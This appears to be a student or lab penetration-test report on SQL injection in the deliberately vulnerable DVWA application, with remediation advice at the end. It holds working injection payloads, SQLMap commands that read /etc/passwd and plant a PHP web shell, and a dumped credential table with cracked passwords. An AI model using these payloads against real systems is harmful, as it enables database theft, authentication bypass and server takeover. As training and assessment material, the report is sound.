DVWA SQL Injection Assessment Report

1. Executive Summary

This assessment focused on identifying and exploiting SQL Injection vulnerabilities in the Damn Vulnerable Web Application (DVWA). Over a 15-day structured testing period, multiple injection techniques were performed using manual payloads, cURL, and SQLMap. Critical vulnerabilities were confirmed in low, medium, and high security modes of DVWA. Successful exploitation allowed database extraction, authentication bypass, remote file read/write, and limited OS-level command execution.
These findings demonstrate the severe risk posed by improper input sanitization and lack of secure database handling.
The goal of this report is to present the methodology, technical findings, impact, and recommended remediations.

2. Methodology

2.1 Information Gathering

- Identified DVWA environment, version, and security configuration.
- Retrieved session cookies and authentication tokens.
- Observed URL parameters and POST request structures.

2.2 Manual Testing

- Tested classic SQLi payloads such as:
- '
- 1' OR '1'='1
- 1 AND SLEEP(5)
- Verified response differences to confirm error-based, boolean-based, and time-based SQLi.

2.3 Automated Testing with SQLMap

- --level 5 --risk 3 injection point detection
- Boolean-based blind detection
- UNION-based extraction
- Error-based exploitation
- Time-based exploitation
- Tamper script bypassing for Medium/High security modes
- Database and table/column enumeration
- Credential dumping
- File read/write
- OS shell attempts

2.4 Exploitation

- Database dump (dvwa.users)
- File read of sensitive files
- Uploaded PHP shells using SQLMap

3. Findings & Evidence

3.1 SQL Injection in GET Parameter

Endpoint:

- /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit

Evidence (Error-Based):

- You have an error in your SQL syntax

Evidence (Boolean-Based Blind):

- Payload: ?id=1 AND 1=1 (Returned user data)
- Payload: ?id=1 AND 1=2 (Returned empty result

Evidence (Time-Based Blind):

- Payload: ?id=1 AND SLEEP(5) (Response time ≈ 5 seconds)

3.2 SQLMap Detection Evidence

- SQLMap confirmed:
- Type: Boolean-based blind
- Type: Error-based (FLOOR)
- Type: Time-based (SLEEP)
- Type: UNION Query

3.3 Database Enumeration Evidence

- Database: dvwa
- Tables:
- - users
- - guestbook
- - etc

3.4 Users Table Dump (Evidence)

id | user | password (MD5)
1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 (password)
2 | gordon | e99a18c428cb38d5f260853678922e03 (abc123)
Passwords cracked automatically by SQLMap.

3.5 Login Bypass (POST Request)

Using SQLMap on POST request:

- sqlmap -r request_login.txt --batch

SQLMap confirmed SQL injection in:

- username (POST)

Successfully bypassed login with: admin' OR '1'='1

3.6 File Read Evidence

- Example:
- sqlmap --file-read="/etc/passwd"
- Result:
- root:x:0:0:root:/root:/bin/bash
- www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

3.7 File Write Evidence

Command:

- sqlmap --file-write="shell.php" --file-dest="/var/www/html/shell.php"

Accessible at:

- http://192.168.31.142/shell.php?cmd=whoami

Output:

- www-data

4. Risk & Impact

Risk Level: CRITICAL

Impact Summary:

- Authentication bypass → attacker logs in as admin
- Full database dump → user credentials compromised
- Password cracking (weak MD5) reveals plaintext
- File Read → attacker reads server configuration & credentials
- Privilege escalation path → possible full server compromise

Business Impact:

- Total loss of data confidentiality
- Full compromise of web server
- Ability to pivot to internal network
- Long-term backdoor insertion, persistent threats
- Severe privacy breach

5. Remediation & Verification

5.1 Remediation Steps

- Input Validation & Sanitization: use prepared statements (PDO, mysqli->prepare).
- Block dangerous characters (', ", ;, comments).
- Use ORM Frameworks: Laravel Eloquent, Django ORM, SQLAlchemy.
- Patch Vulnerable Software: update PHP, MySQL, and DVWA.
- Disable Detailed Error Messages.
- Implement Strong Authentication (bcrypt or Argon2).
- Least Privilege Database Accounts: prevent FILE operations.
- Web Application Firewall (WAF): ModSecurity or Cloudflare.

5.2 Verification Plan

- Re-run SQLMap with high depth
- Manual payload testing
- WAF evasion attempts
- Retest login forms
- Confirm: no SQL errors, no blind SQLi responses, no delays, no UNION-based extractions
- If all checks pass → vulnerability resolved.